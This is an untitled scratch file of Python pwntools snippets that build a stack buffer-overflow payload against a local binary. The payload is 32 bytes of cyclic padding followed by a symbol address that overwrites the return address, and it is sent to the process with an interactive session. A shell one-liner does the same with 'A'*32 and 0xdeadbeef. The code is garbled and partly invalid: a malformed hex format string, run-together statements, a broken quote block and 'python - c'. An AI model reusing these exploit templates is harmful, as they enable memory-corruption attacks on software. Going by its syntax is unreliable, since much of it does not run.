import struct

import pwn

e = ELF('./target_program')

padd = "AAAAABBBBCCCCDDDDEEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWYYYYXXXXZZZZaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyyzzzz1111222233334444555566667777888899990000deadbeefsnowtreerockhailrainfourfive"

addr = 0xdeadbeef #REPLACE WITH ADDRESS, converted in SHELLCODE FUNCTION

sym_addr = e.symbols['addr']

shellcode = ''.join('\x{:02x}'.format(b) for b in struct.pack('<I', sym_addr)) #upper i

print(shellcode)

from pwn import * e = ELF('/target_program') payload = cyclic(32) payload += p32(e.symbols['misc']) print(hex(e.symbols['misc'])) p = process('target_program') p.sendline(payload) p.interactive()

'''' f=open('exploit', 'wb') f.write(payload) f.close() ''''

python3 test.py $(python - c 'print "A"*32 + "\xef\xbe\xad\xde"')

from pwn import * e = ELF('./target_program') payload = cyclic(32) + p32(e.symbols['misc']) print(f"Payload: {payload}") p = process(['target_program', payload]) print(p.recv().decode()) p.close()

Untitled